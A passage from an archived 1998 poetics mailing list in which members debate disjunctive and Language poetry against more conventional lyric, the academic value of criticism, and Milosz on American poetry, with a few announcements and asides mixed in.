But this isn't the interesting issue. You're wrong that I'm incapable of enjoying innovative or disjunctive work - I think Don Wellman's description of his response to some Language poetry was true & close to my own experience of it. But several posts have talked about "how to get into disjunctive writing" from a sort of reader-response perspective. You have to learn to enjoy non-closure, etc. But what if coming from the WRITER'S position, these modes of composition are simply NO LONGER INTERESTING? Do not reflect the goals of the writer? I think "closure" is a very weak descriptor for what the writer is after. What if postmodern perspectives & techniques do not accomplish the writer's point of view? That is what interests me about approaches that Yeats (as ONE example) can represent, in part: and I'm also talking about the micro levels of technique from a WRITER'S perspective. The idea that a synthetic approach to syntax, rhythm & meaning is just a handy way to package McMeaning ignores 95% of the fascination of the text or the performance, as far as I'm concerned. - your favorite reactionary curmudgeon, Henry G.

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122. Robert Archambeau
Re: Milosz
Tue 4 Aug 1998

Simon DeDeo quotes Czeslaw Milosz saying that he finds American poetry wanting because, among other things, American poets write from lives that reflect:

a common, monotonous reality, free of historical earthquakes;

To understand where CM is coming from, and why he'd find it second nature to look for "historical earhquakes" in poetry, it helps not only to think about him in the context of his own experiences in war-torn Poland, but to think of the whole tradition of Polish poetry that, until recently, was overwhelmingly vatic, historical and Romantic (Shelley plays well in Warsaw).

The idea of a public poet speaking seriously of serious things and the fate of nations has even become something of a burden for later Polish poets -- there's that whole crowd of new, O'Hara-influenced Polish poets, for example, or there's the concern with the personal and the poetics of the private moment that we see in someone like Adam Zagajewski.

Zagajewski often look deceptively mainstream to many Americans, who often don't expect "historical earthquakes" in their poetry, but in Poland this is considered fairly avant-garde.

Not to keep harping on _Samizdat_, but the new issue has an essay by Piotr Parlej explaining Zagajewski's relation to the Polish national tradition, as well as a couple of Adam's poems (in translation). Once I've learned more about the Polish O'Hara scene, I plan to run some of their work, too (maybe in the December issue).

Bob Archambeau

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123. Mark Prejsnar
Re: Oh Henry
Tue 4 Aug 1998

On Mon, 3 Aug 1998, Robert Archambeau wrote:

> *I thin it is demonstrable that that there is still important poetry being written in the syntactically disjunctive mode (just now I've been reading some by Catherine Walsh, but there are American examples too). But my sense is also that there is a hell of a lot of mannerist late langpo that disjoins for the sake of disjoining and that doesn't give us anything new or powerful. And I think that the most exciting energies in poetry in the US and elsewhere are to be found neither in the (for lack of a better shorthand term) mainstream nor in the language poetry tradition (see Archambeau duck behind the nearest tree, the peep out sheepishly to see if the lead is flying).*
>
> *Who or what am I talking about?*

Good question....And worthy of being addressed on the List, i think.

Good poetry is possible in all modes, even the very conservative ones favored by Henry. He offers **no** substance of critique regarding particular poets or poems; i see nothing to engage in his snipes.

I find Robert's bit quoted above far too broad and abstract to move us much further....

This reification of broad critical categories ("syntactically disjunctive mode"..ugh!) is just not very helpful.

Folks are chiming in with great sanctimoniousness (like Henry's own) about how wonderful these crticisms are...Er, so far as far as i can see, the clothes have no emperor. Thus far. Neo-conservatisim rools, i guess.

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124. Robert Archambeau
Re: should we criminalize mediocrity?
Tue 4 Aug 1998

> *Henry declares American poetry at an impasse--but he doesn't read his own contemporaries*

I've never met him, but judging from his posts during the time I've read this list, Henry seems to read both the contemporary poets he has an immediate affection for and those he has a hard time finding a way to appreciate -- he seems to be that rare and wonderful kind of person who doesn't read only what he suspects he'll find affirming. Donald Davie was like that -- a Larkinesque Movement poet who made himself read the Black Mountain crowd and take them seriously, even if it was to eventually reject most of what they stood for. That way of going about things somethimes made Davie into a raging bull, but people like that keep us all honest and less complacent. (sidebar: Davie was the first critic I know of to understand much about Jeremy Prynne -- see the chapter in _Thomas Hardy and British Poetry_).

If there are no bullets but only spitballs, hair-pulling and name-calling, I suppose I can come out from behind that tree now.

R.A.

↑ Index

125. David Kellogg
Re: Academic exchange value
Tue 4 Aug 1998

On Tue, 4 Aug 1998, Maria Damon wrote:

> *thanks david this is exactly the kind of "salvage work" and rhetoric that goes nowhere and one reason i find institutional histories, etc not very inspiring. however, may i suggest that a lot of essays on poets and poetry (like, i hope, my own) dont follow the model you suggest below? kristin ross's writing on rimbaud, watten's ILS piece, michael davidson's recent work on the 50s --all go far beyond championing "underdog" poets.*

You're welcome. I agree with you on all these works, including your own; but their refusal to fit that mold is one reason, perhaps, why their _own_ value is sometimes viewed suspiciously by perplexed readers who want the same-old-same-old. The effort to carve out a new cultural-poetic critical writing is something I'm keenly interested in, as you know (and something I view as basically collaborative, including all the above, myself, and many others) -- readers' resistance to that critical work is buttressed by the dominance of a stale "salvage" model that always-already presents itself as novel, even if its form is predictable in its entirety.

> *At 3:28 PM -0400 8/3/98, David Kellogg wrote:*
> *No matter who you're talking about, the "academic exhange value" of any contemporary poetry is assumed to lie in its ability to be _promoted_ in the critical essay or review. Whether you're writing on John Hollander or Charles Bernstein, Amy Clampitt or Susan Howe, academic value is wrenched out of poetry as a relentless critical project. Pick your own favorite essay on a poet and see if it matches this rough structure:*
>
> *1. Most contemporary poetry is [moribund, pathetic, too academic, not academic enough, too trendy, not trendy enough, too much form, too much content]. [Pages of examples]*
>
> *2. The work of [poet's name here], however, bucks this trend. As a result, [poet's name here]'s work has been ignored. Critics have hitherto been unable to deal with this poet's [intellect, emotion, epistemology, sexuality, bad attitude, vocabulary] and have written [poet's name here] out of the canon. I propose to correct this oversight.*
>
> *3. [Pages of counter-examples from the work of the poet]*
>
> *4. If only the world would pay attention to [poet's name here], we would all love poetry. Pity the world doesn't follow my shining example.*
>
> ---
>
> *Now THERE'S a bankrupt tradition for you: yet it seems to be viable all over the place, certainly not restricted to any one wing of the academic critical establishment.*

> *Cheers,*
> *David*
> *~~~

In general, this is an extension of the gradual appropriation of R&R by the right as a symbol of machismo and jingoist national distinctiveness. (Within this story there are many little mini-dramas, like Reagan and the song "Born in the USA," etc.)

the second question is the history of the phrase itself. By far the best approach to this, at least as a place to start, are the essays collected in Nick Tosches' book "Unsung Heroes of Rock & Roll." The cumulative thesis of that book is that the label should be used for pretty much any strong-beat, straight-ahead music that somewhere used the phrase "rock" or "rock and roll" for sex. Whether it originated as blues, jump-blues, piano boogie, or even came from a white artist with country roots like Hard Rock Gunter. This thesis is not widely accepted among rock critics/scholars, to offer an understatement. (But while simple-minded, it's not the worst way to approach a thorny historical/theoretical issue) But Tosches' claim for what can be called r&r music is beside the point: in the process of making his claim, he traces dozens of uses of the phrase in white and (mostly) black music before Berry, Little Rich. and Elvis. Some certainly in the second half of the 1930s, as the so-called Bluebird Beat uptempo sound was nudging country blues in the direction of a city feel, and boogie piano and early efforts by Big Joe Turner and similar shouters were rushing toward jump-blues, the black form that most directly fed into "R&R."

So the short answer has two parts: Yes, the phrase was fairly common on the air waves, pretty much exclusivley as a very ungenteel, crude reference to sex; and No, unless the soldier shouting it was Black, he was *not very likely* to know the phrase well and have it on the tip of his tongue...

So this is a very direct and strong piece of anachronism, tying in to (what i mentioned at first) the recent macho americanist/militarist appropriation of the phrase....
--
Mark P.

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127. **Tosh**
Re: Shouting Rock and Roll in Prvt. Ryan
Tue 4 Aug 1998

I still think they were saying 'lock & load.'

Tosh Berman
TamTam Books

↑ Index

128. **Henry G**
Re: Oh Henry
Tue 4 Aug 1998

On Tue, 4 Aug 1998 09:16:59 -0400 Mark Prejsnar said:
>
>Good poetry is possible in all modes, even the very conservative ones
>favored by Henry. He offers **no** substance of critique regarding
>particular poets or poems; i see nothing to engage in his snipes.
>
>I find Robert's bit quoted above far too broad and abstract to move us
>much further....
>
>This reification of broad critical categories ("syntactically disjunctive
>mode"..ugh!) is just not very helpful.
>
>Folks are chiming in with great sanctimoniousness (like Henry's own) about
>how wonderful these crticisms are...Er, so far as far as i can see, the
>clothes have no emperor. Thus far. Neo-conservatisim rools, i guess.

Mark, if you use the word "conservative" one more time, I might start to think you are stooping to broad critical categories yourself. You want me to have a roll call of some of the hundreds of "disjunctive" poets? It's unfair to talk about pervasive styles? What is poetics anyway? Ad hominem snipes at "reactionaries"? The naked emperors in my battle plan are the babies of the postmod scholars - those who lay claim to be the few scholars attending to "contemporary" work - who have all the young college students getting headaches over their turgid academic poetry. But you stick with the ad hominems, Mark - it's a way of showing that post-lang people can still get personal. - Henry G.

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129. **Maria Damon**
Re: Academic exchange value
Tue 4 Aug 1998

---

thanks david this is exactly the kind of "salvage work" and rhetoric that goes nowhere and one reason i find institutional histories, etc not very inspiring. however, may i suggest that a lot of essays on poets and poetry (like, i hope, my own) dont follow the model you suggest below? kristin ross's writing on rimbaud, watten's ILS piece, michael davidson's recent work on the 50s --all go far beyond championing "underdog" poets.

At 3:28 PM -0400 8/3/98, David Kellogg wrote:
>No matter who you're talking about, the "academic exhange value" of any
>contemporary poetry is assumed to lie in its ability to be _promoted_ in
>the critical essay or review. Whether you're writing on John Hollander or
>Charles Bernstein, Amy Clampitt or Susan Howe, academic value is wrenched
>out of poetry as a relentless critical project. Pick your own favorite
>essay on a poet and see if it matches this rough structure:
>
>1. Most contemporary poetry is [moribund, pathetic, too academic, not
>academic enough, too trendy, not trendy enough, too much form, too much
>content]. [Pages of examples]
>
>2. The work of [poet's name here], however, bucks this trend. As a
>result, [poet's name here]'s work has been ignored. Critics have hitherto
>been unable to deal with this poet's [intellect, emotion, epistemology,
>sexuality, bad attitude, vocabulary] and have written [poet's name here]
>out of the canon. I propose to correct this oversight.
>
>3. [Pages of counter-examples from the work of the poet]
>
>4. If only the world would pay attention to [poet's name here], we
>would all love poetry. Pity the world doesn't follow my shining
>example.
>
>
>----------
>
>Now THERE'S a bankrupt tradition for you: yet it seems to be viable all
>over the place, certainly not restricted to any one wing of the academic
>critical establishment.
>
>Cheers,
>David
>~~~

130. MAYHEW
should we criminalize mediocrity?
Tue 4 Aug 1998

Should we criminalize mediocrity?
There are practical details to be worked out...
So few of us (brilliant intellectuals) left to run the nation
And who among us is not mediocre?
Though to have escaped detection for so many years
is itself a form of genuis.
Conversely, the prisons would be filled with insecure genuises
Who would sooner confess their mediocrity
than endure the agonizing wait...

On another note: Henry declares American poetry at an impasse--but he doesn't read his own contemporaries, since they are not necessary to his own writing. All other poets fall into some category which disqualifies them in advance--New York poets are snide art-world groupies, Language Poets are ruining poetry, New Formalists are beyond the pale, etc... except, of course, for Henry Gould, reader of the great Russians. Is this a fair paraphrase?

I would suggest more generosity of response to one's own time. "as if it would never leave me and were / the inexorable product of my own time." (FO'H).

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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131. henry
Re: should we criminalize mediocrity?
Tue 4 Aug 1998

On Tue, 4 Aug 1998 10:02:53 -0500 MAYHEW said:
>
>On another note: Henry declares American poetry at an impasse--but he
>doesn't read his own contemporaries, since they are not necessary to his
>own writing. All other poets fall into some category which disqualifies
>them in advance--New York poets are snide art-world groupies, Language
>Poets are ruining poetry, New Formalists are beyond the pale, etc...
>except, of course, for Henry Gould, reader of the great Russians. Is this
>a fair paraphrase?

>
>I would suggest more generosity of response to one's own time. "as if it
>would never leave me and were / the inexorable product of my own time."
>(FO'H).

You may be right, Jonathan. I've sniffed out quite a few of them briefly - will let you know if any become necessary for me. In the meantime I'd like to remind you that running as fast as I can away from American poetry of the last 20 years IS a kind of response to it - may not be generous, granted - but I've tried to sketch out some of my reasons for doing so - Henry G. the insufferable snoboob

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132. Mark Prejsnar
a few basics
Tue 4 Aug 1998

One of the most helpful theoretical claims to emerge from the recent decades has to do with what a poem does. Ultimately, this claim is useful to cobble together an approximate measure for all kinds of poetry, including more normative types accepted throughout most of the literary establishment. (One thing lost in the last few days, partly because of the high-intensity of Henry's rhetoric, is that almost all financial/institutional resources in our culture, are still geared toward lionizing and supporting "art writing" of a very conservative sort, which actually quite directly dismisses most vibrant writing as irrelevant..) But mostly this theoretical claim is about what less mainstream types of writing are setting out to try to do...

The claim is, that poetry can and does actually create and set in motion, and constitute, an experience. It is not (or should not be) about evoking, recapturing, describing or narrating an "experience." It is, in and of itself, experience.

This seems a very uncontroversial claim, if put forward about Monet or Pollack, Mahler or Ornette, John Zorn or the Mekons, about many dance pieces. Even about the theater of Richard Foreman and his disciple Robert Wilson (though they have their neo-conservative detractors).

But it is still hard to establish this as a working premise among poetry folks. None the less, i'm convinced that it is true. It explains part of what's going on in many of the best pieces of, say, Clark Coolidge.

Within the creation of a vibrant experience, there are always *thematic resonances* ; in Raphael there are angels, in Monet there are landscapes and Parisians (and the angels and landscapes and Parisians often shimmer with the tensions of history and perception..) , in a Mekon song there may be 5 different social issues, twisted through 3 layers subjective angst.... In all these forms, for

the thematic "subject" to register, there has to first be an electricity in the paint or the guitars (or the words).

But the theory of recent decades points to a regard for the feel and excitement of poetry, as in Coolidge. A poet for whom thematic resonances are primary, in a sense, is Susan Howe. Yet her work *creates an experience* ... The simultaneous marshelling (martialing?) of sound and vizpo word patterns, of difficulty wading thru thick colliding lines on the page, drags the reader into a historical morass of suspicion, confrontation, violence and war..

I use the word "resonance" to emphasize that good writing can come in all sorts of styles, including ones where the "subject" is embodied in the text-texture; thus, not using normal syntax or even normal words IS NOT THE ISSUE (which is why i dissent from the majority, who take henry's broad generalizations seriously)

If we're thinking about work of the last few decades, that connects up with Oppen and Zuke and Stein (and Vallejo and Celan), then the issue is **the creation of vibrant experience through understanding and working with your medium**

This point of view leaves plenty of room to admire and understand a fine lyric written with more familiar verbal gestures and sytax, such as Henry's "Notes on a Still Life," which i published in issue #4 of my mag, Misc. Proj. There are many different ways to kick consciousness in the direction of an experience.

But this analysis is tied historically to a partisan stance in favor of verbal adventurousness. I believe what i'm refering to here is partly what Ron had in mind in his comment (in ILS at the Perelman symposium?) that there was still a long way to go in fully realizing a poetry that transcends, or moves away from, "aboutness."

Indeed, there is plenty of room for *greater disjunction* among the tools that prosody can reach for, at this juncture. No doubt many people are doing bad poetry that uses forms of disjunction. Not sure that this is stunning news to most of us..Far more bad poetry is being published (in more high-profile contexts) using the smooth sytactic flow HG likes.

But ultimately it is much more interesting to pursue directions of poetry that are generative and risk-taking, and have a vector, soaring quality, using different tools; fear of "disjunction" (an inadequate term for opnness to many different modes of text-structuring) seems uninteresting and unhelpful.

Mark P.

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133. **Henry Gould**
Re: a few basics
Tue 4 Aug 1998

A few basic points. Yes, Mark, a poem is an experience in itself, but not only that. Art is not just about art; it's an apprehension of experience and reality. I have tried to suggest that the contrast of Yeats/Pound might reveal a DIFFERENT PARADIGM for your vaunted "verbal adventurousness". An adventurousness revealed within a pattern of normal or simple speech structures. But the partisanship you subscribe to is not open to this idea: your strategy is to set up the exemplars (Clark Coolidge, Susan Howe, undoubtedly fine practitioners) - claim the theoretical high ground (so much MORE bad middlebrow poetry is written in traditional sentences) - and defend the pillbox, with its motto: explode the forms (sentence, stanza, etc.). And let the new generations of radical resisters rise, proud & strong, unable to spell or write a complex sentence, but hey - it's poetry. My dislike for this front is not a matter of snobbery, however. I disagree with the basic apprehension of reality underlying it, the philosophical bases. But let's not get into a thing about politics or postmodernism. BECAUSE art is about more than itself - these debates bring out - or seem to bring out - IDEOLOGICAL differences over what "reality" is, where our commitments lie. And that leads to more long boring abstract debates... - Henry G.

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134. **david bromige**
ron o'silliman
Tue 4 Aug 1998

sure and havent I been after telling Ron this for decades now, tis time to come out of that Celtic Twilight into the sun of common day. Same for Bob O'Hass also, him and Ron being alike as two peas in the pod. The mystifications of "Meditation at Lagunitas" smells of the druid censer no less than those of "Ketjak" and "Tjanting." Appears that not until the Liffey flows with Guinness shall we hear the plain speech of common sense from these two boyos, (brothers, tis rumored, though the connection has been hushed up). On a seperate but related issue, I would love for Randolph Healey to demonstrate his argued point, just that any poem by RH boils my potatoes. David O'Boy Bromige

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135. **Andrew D Epstein**
Re: should we criminalize mediocrity?
Tue 4 Aug 1998

Jonathan Mayhew wrote:

>>I would suggest more generosity of response to one's own time. "as if it would never leave me and were / the inexorable product of my own time." (FO'H).>>

While I agree with Jonathan's call for greater generosity to our contemporaries, I thought it was interesting that he quoted O'Hara on this. I think that line speaks more to O'Hara's desire to have his own poetry be as contemporary as possible and has less to do with the poetry of his time written by others...

and remember his comment in "Statement for the New American Poetry," where his annoyance sounds a bit like Henry with one major distinction:

"I dislike a great deal of contemporary poetry -- all of the past you read is usually quite great -- but it is a useful thorn to have in one's side."

I think that last clause makes all the difference.

This discussion also reminds me of O'Hara's quip about "mediocrity" and the poetry of his peers that he didn't like, when asked to comment on it: "It'll slip into oblivion without my help."

Take care,

Andrew

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136. david bromige
poetry in the age of medication
Tue 4 Aug 1998

Poets here to ruin poetry? Youre goddam right we are! Whats the point in leaving it just the way we found it? I HATE POETRY . Poetry that seduced me with its (and my) worst impulses when I was utterly vulnerable to its insinuations!? Poetry the molester of children's minds? The Trauma of Poetry, of having been poetized, can never be forgiven never cured in therapy.

Just about any of the poetry that we call Maindrainins doest look to be written from any such wounds, but it is. It's is written in denial of those wounds, it is written to protect the molester, it is written by incest victims unable to acknowledge the fatal tinkering to which they were subject while too green or too conflicted to enjoy their outrage.

I exaggerate? Name me one poet you admire who left Poetry the same as it had been before. Poetry that opens my lips and shuts my mouth. Poetry that wants me to lie down and let the past roll all over me. And makes me want just that.

David

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137. **Michael Magee**
Re: a few basics
Tue 4 Aug 1998

Henry: "And let the new generations of radical resisters rise, proud & strong, unable to spell or write a complex sentence, but hey - it's poetry."

Now, come on Henry: I realize we're in full generalizing mode at this point in the dialogue, but, as a member of the "new generation," I write one hell of a complex sentence, and am a fine speller. Moreover, I'll go toe to toe with anyone on the subject of Yeats anytime, any place. The point is this: why on earth is it so hard to believe that someone would make a very honest (read non-conspiratorial) choice to employ non-narrative rhetorical strategies without positioning herself against every strategy employed in the days of yore, in fact, without situating her verse as polemic in the least. The poet is trying to do something with the poem, to be sure, but rarely - rarely - is that thing a simple, caricatured, attempt at "explosion." I can never remember sitting down with some paper and thinking to myself, "How can I go about lingusitically exploding the world-structure?" Is this a common point of departure for anyone? The truth is, motivations range widely but also, in a sense, stay the same: some poets are interested in "the political unconscious" of form - which is simply to say they believe that, on a contextual basis, grammar and syntax can imply a politics; or more generally, that form is one "anticipatory arena where actuality and possibility, past and present, are allowed to collaborate on a history of the future" (James Livingston). Or put in the simplest form: some poets want to write in a new way because, socially speaking, they want something new. Other poets are more focussed on finding a language which feels compatible with their immediate apprehension of experience. Provided there are measures taken against self-indulgence, that's good and interesting too, isn't it? And might not parataxis of one sort or another be one viable method for these various motives? And aren't those motives acceptable and worthwhile? If your answer to these questions is yes, then I suggest you take a harder look at what is out there and what is coming out. The difficulty of Yeats is tempered by one's willingness to read Yeats long and hard - the reader patiently develops a symbolic economy that will suffice. But of course he's "Yeats": the name alone goes along way to convincing us that the effort is worth it. I know its hard to imagine b/c his context is too set in stone, his methodology too clearly a link in the chain of tradition, but would anyone be able to read, say, "Nineteen Hundred and Nineteen," devoid of context? Or, more to the point, would they bother? "Many ingenious lovely things are gone / That seemed sheer miracle to the multitude, / Protected from the circle of the moon / That pitches common things about." Without context this too becomes gibberish. What it comes down to is whether you have any real interest in the methods and contexts of these "experimental"

poets. If you do, you'll take the time to have a good look and probably like much. If you don't, ah well, you won't. But I don't believe the discussion of whether these poets are "good" or "serious" is a very worthwhile discussion. Clearly, they are serious, and, in many contexts, good.

-m.

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138. **dbkk**
Bellamy reading in SF
Tue 4 Aug 1998

Hi, this is Dodie. If any Bay Area localites are looking for something to do next Wednesday, August 12, at 7:30, I'll be reading from The Letters of Mina Harker at A Different Light bookstore on Castro Street. They have this great carrot/ginger/parsley juice cocktail at the yogurt place next door.

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139. **Mark Prejsnar**
Re: a few basics
Tue 4 Aug 1998

On Tue, 4 Aug 1998, Henry Gould wrote:

> *A few basic points. Yes, Mark, a poem is an experience in itself, but not only that. Art is not just about art; it's an apprehension of experience and reality.*

No no no no no .....

Creating an experience, an experience field, has NOTHING WHATSOEVER to do with the art "being about art." A sedate exercise in writing a poem "about" a pre-existing "subject," where topical laziness kills the drive and the writing, is more "about art" than a Howe or Coolidge poem is. Good writing is a kind of perturbed severity, a confrontation with historicity and difficult living. It is complex and mobilizes sound and (may use) all possible manner of typological textual arrangement. Including various furors and strategies that middle-brow market-culture calls "nonsense" and "disjunction." (But these are inadequate words.)

I was arguing before (in terms i borrow from Silliman) for a writing field-of-possibility within which at least some of the poets are "moving away from 'aboutness.' " Which (you should note, but you haven't) has NOTHING to do with not having thematic resonance. How the hell could Howe, the most deeply historical poet now writing, be "about art" fa crissakes??

You are clinging to "aboutness." I remain convinced that my field of possibilities is more interesting and exciting. But in any case i definitely reject your terms and their conceptual underpinnings.

huffily,
Mark

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140. **henry**
Re: a few basics
Tue 4 Aug 1998

On Tue, 4 Aug 1998 12:43:20 -0400 Mark Prejsnar said:
>On Tue, 4 Aug 1998, Henry Gould wrote:
>
>> A few basic points. Yes, Mark, a poem is an experience in itself, but
>> not only that. Art is not just about art; it's an apprehension of
>> experience and reality.
>
>
>No no no no no .....
>
>Creating an experience, an experience field, has NOTHING WHATSOEVER to do
>with the art "being about art." A sedate exercise in writing a poem
>"about" a pre-existing "subject," where topical laziness kills the drive
>and the writing, is more "about art" than a Howe or Coolidge poem is. Good
>writing is a kind of perturbed severity, a confrontation with historicity
>and difficult living. It is complex and mobilizes sound and (may use) all
>possible manner of typological textual arrangement. Including various
>furors and strategies that middle-brow market-culture calls "nonsense" and
>"disjunction." (But these are inadequate words.)

But Mark, you yourself were just saying (in previous post) that poetic theory has advanced to the point of recognizing that writing/reading a poem is an experiential process. You compared it to other art forms (painting, poetry) to suggest that it's the thick textual/performative experience, not the derivable meanings, that's the thing itself. Okay. I have no problem with that. I just think that the thing itself is never just the thing itself, and stylistic choices reflect stances toward reality and history. I introduced the Yeats / Pound argument not because I'm stuck in the past, as Andrew Epstein seemed to imply, but because I knew people would find it outrageous. Susan Howe may be a deeply historical

poet, but that doesn't forestall entirely different approaches to the same history (poetic and general history). - Henry G.

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141. **Tom Orange**
(no subject)
Tue 4 Aug 1998

---

getting to the point of entry of particulars, the problems perhaps boiling down to (not?) finding and making articulations, as critics, readers, and writers, appropriate to quote-unquote disjunctive poetries.

as has already been mentioned, "disjunctive" as a blanket term pretty much loses any valence in terms of particulars. take the line by diane ward quote by joe safdie quoted by perloff, and take another line by, say, karen mac cormack:

> Dark windows in which a list followed by facts us erupt
> chilling comparing.
>
> The point isn't just to changing points needs it overblown more than complex guarantee...

can we say what/how these lines mean, where the disjunctions occur and what kind they are, give close readings that don't simply normalize the syntax back into stable meaning(s), that in turn allows us to draw larger implications for these individual works, authors, and any "camps" in which they may be said to "belong"?

or how about two more examples, where the disjunction is taking place more, but not exclusively, at a level between sentences than within them:

> A paradox is eaten by the space around it.
> I'll repeat what I said.
> To make a city into a season is to wear sunglasses inside a
> volcano.
> He never forgets his dreams.
> The effect of the lack of effect.
>
> He would live against sentences.
> Trees here of leaf the several speakers.
> Tiered objects of her talking and water below.
> Trees of sound to broaden shadow.
> Damp walls will quiet things.

aside from taking these passage individually, can we discern how/if, to follow donald wellman's question, there are disjuntions other than those of the

surface? why/whether the first is barrett watten and the second is michael palmer? why/whether it matters?

enough with the rhetorical questions. possible articulations as critics/readers: 1) close the book(s) in dismay or disgust, no meaning to get, or, whatever meaning to be had not worth the effort, the difficulties marking an area of exclusive or esoteric readership. 2) perform the apologia pro poetica sua that it strikes me perloff's commentary performs; which is not to slag perloff by any means, but again the treatises in defense of langpoesie continue to repeat the same arguments of old, cudgeling even the already converted (read: mystified?). 3) supplementary to 2), trot out critical truisms (i.e. maintain the economy of academic exchange value) about the challenges to stable reference, the resistance to meaning-as- commodity, the invitations to the reader to create meaning, etc. corollaries to 3): a) read a given poet's (or poets') work along these lines using a given theme, say, "(method)" in "(charles bernstein)"; b) offer a close reading of a few lines as synecdochally illustrative.

we are in dire need of further possible articulations. we need a critical vocabulary in which to fruitfully discern and discuss the ways in which these writings are operating here. if anything we are truly lacking, rather than taking, a "theoretical high ground."

this i think is one aspect of the impasse that henry finds us in, as pertains to critics and readers.

the other aspect pertains to writers (dividing poetic labor as such for argument's sake). again, henry chooses for his writing not to follow such leads, a choice which should, if disagreed with, at least be respected. any choice entails risks, the risks of henry's choice being apparent in the discussion.

the risks of the other choice, to follow the leads of "disjunctivity" (but again the choice is not one of such simple opposition; i can think of lise downe from toronto, whose two books show a very judicious use of disjunction woven with a very beautiful and more syntactically conventional lyricism), already suggested, if somewhat bluntly, by mark p. and others, namely "bad disjunctive writing," are indeed great.

the issue of eso/exotericism is a serious one, as is the possibility that once the devices of disjunction have been laid out the writing becomes simply a matter of manipulating the devices. i wonder too, to get back to linda russo's earlier question about the institutionalization of language writing can be thought to have a part in this -- tho i can't imagine a workshop at, say, buffalo, brown, naropa, ucsd, new college, etc., in which an young writer would be told: "this is good, but it needs to be more disjunctive: work in some anacoluthon here, use more parataxis here, and torque it up a bit here..."

"disjunction"'s possibilities are far from exhausted. with the further development of such devices (as opposed to their mere reiteration and recombination), however needs to come the further development of critical sensibilities to distinguish how and when the devices are operating and on what terms those operations can be said to be "effective." no division of labor here...

bests,
t.

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142. **Tom Orange**
saving disjunctive
Tue 4 Aug 1998

---

sorry all, the last message shoulda had the above subject heading...

hastily hitting "yes-to-send",
t.

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143. **charssmith**
Re: In which will be found what is set forth therein
Tue 4 Aug 1998

In a message dated 98-08-03 15:57:13 EDT, you write:

<< & Who is it on the list who was trying to put together a collection of Dan Davidson's work? >>

Aldon -- I think that was Gary Sullivan, who's, ummm .... "vacationing" now.

I've glanced "Long Division" a few times now, but haven't given it a real read yet. Never knew Dan or his work. Thanks for putting this out.

best,

charles

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144. **Alaric Sumner**
Bill Griffiths FWD Seaham Unaligned Literary & Philosophical Association
Tue 4 Aug 1998

Bill Griffiths is pleased to announce a new web site at
<www.gmtnet.co.uk/sulpha> (for Seaham Unaligned
Literary & Philosophical Association).

This deals with local history matters, includes a talk
on superstitions by Bill and a few ghost stories.
It has been prepared for the internet by Bob Trubshaw
of Heart of Albion Press, to whom Bill is duly grateful.
For what we are up against, by all means visit an
'official' site like <www.seaham.com/timeless/mayday.htm>.
The SULPhA site will be changed three times a year
(Xmas, Easter, August), and suggestions and contributions
are welcome.

[redacted]

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145. **Mark DuCharme**

Re: Luoma

Tue 4 Aug 1998

Bill Luoma wrote:

> *<<But I don't want a pineapple.>>*
>
> *ok Mark D., what do you want?*

Just a cigarette, & a feeling of satisfaction when it's all through. Except I don't smoke.

Bill L. continues:

> *what's your address btw, and you Todd Barron and you Pat Pritchett?*

2965 13th Street
Boulder, CO 80304

Ciao,

--Mark DuCharme

Get Your Private, Free Email at http://www.hotmail.com

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146. **trbell**

Re: Writing Poetry in the Age of Media

Tue 4 Aug 1998

Although this might be a gross over-simplification, one of the major issues for me is that I would like the reader to be involved in 'constructing' the poem. I

am aware that this goes back to Iser and there may be other sources I am not familiar with.

I am also aware that I tend very much toward th incomprehensible end of the spectrum of asking the reader for input in building the experience - i tend to often be as 'difficult' in my interpersonal relations.

If i am right in this would there then be 'lazy readers' and readers who are more willing to invest themselves?

Some of this concern for the reader and the relationship undoubtably relates to my life as a practicing psychologist. BTW it is my impression that the field (and related fields) has abandoned focus on self-revelation, confession, self-expresion, etc. so that poetry of this type is to a large extent foundationless. [however, there are more specifically-defined and concrete areas where self-expression and 'writing' - if done right - do have effects and their efficacy has very good research support]

I'll end before I wander too far away

At 10:15 AM 8/4/98 +0100, you wrote:
>from [redacted]
>
>----------
>> From: Safdie Joseph
>
>>.....I've been giving a close (academic)
>> reading to Marjorie Perloff's _Writing Poetry in the Age of Media_
>
>>.....two questions
>> immediately: one, is the "aspirational thought" of John Cage that she
>> cites really a model for anyone here? That is, are we bound, as current
>> practitioners, to find a way OUT of our present mess, rather than just
>> present the mess? And two, she quotes our List Master as differentiating
>> between modes of fragmentation, preferring the kind that "reflects a
>> conception of meaning as prevented by conventional narration . . .
>> dipping into other possibilities available within language." In this
>> formulation and others I've seen promoting "discovery," I smell the
>> vague but undeniable odor of mystification -- we can never say exactly
>> WHAT those "other possibilities" are. Fair enough, but when does the
>> endless spiraling outward become simple bad faith?
>
>On point one: the thought of poets of any stripe setting themselves the
>project of finding pat answers is an unhappy one. Yet there are no neutral
>descriptions, and even should one attempt to "just present the mess" such a

>presentation will insensibly move in certain directions. I would consider
>the principle of "aspirational thought" to be satisfied if the writer can
>keep the ambiguities of the situation in suspension rather than
>crystallising prematurely. Which I think fits well with Cage's awareness
>that chance and cadence have the same root.
>
>On point two: . My initial reaction to fragmented syntax was that it may
>be used as a probe which does not impose any particular hierarchy on the
>possibilities it discovers. And it seemed that the experience of the
>reading was an inseparable part of the text. Which is why I think it is
>hard to talk about such poetry without falling a little flat: the analysis
>of a rollercoaster ride in terms of velocity and pitch is not quite the
>same as the real thing. The what of those "other possibilities" can be
>indicated explicitly, if not definitively, in terms of individual texts,
>and I am strongly tempted to demonstrate this, only an unwillingness to
>inflict what may be entirely personal lucubrations preventing me.
>
>Randolph Healy
>
>

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147. R.Gancie/C.Parcelli

an example of the fundamental contradiction of scientific analysis, typified

Tue 4 Aug 1998

"Hence the entire system is TOTALLY[?!], intensely conservative, locked into itself, utterly impervious to any "hints" from the outside world. Through its properties, by the microscopic clockwork function that establishes between DNA and protein, as between organism and medium, an entirely one way relationship, this system obviously[?] defies any dialectical description. It is not Hegelian at all, but thoroughly Cartesian: the cell is indeed a machine.... Physics tells us however that--save at absolute zero, an inaccessible limit--no microscopic entity can fail to undergo quantum perturbations, whose ACCUMULATION WITHIN A MACROSCOPIC SYSTEM WILL SLOWLY BUT SURELY ALTER ITS STRUCTURE."---from Chance and Necessity by Jacques Monod --- What happened to the "totally...conservative " "Cartesian" "machine" in the face of "quantum perturbations?" Well, within an experimental context, e.g. analytically, the 'totally conservative system' finds an existence. In reality (or even meta-analytically) it is impractical and, e.g. be ethically supportable as

regards the environment etc.---Carlo Parcelli And Monod won the Dynamite Prize.

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148. **toddbaron**
basics
Tue 4 Aug 1998

"poetry is derived (obviously) from everyday existence--(real or ideal)" Zukofsky

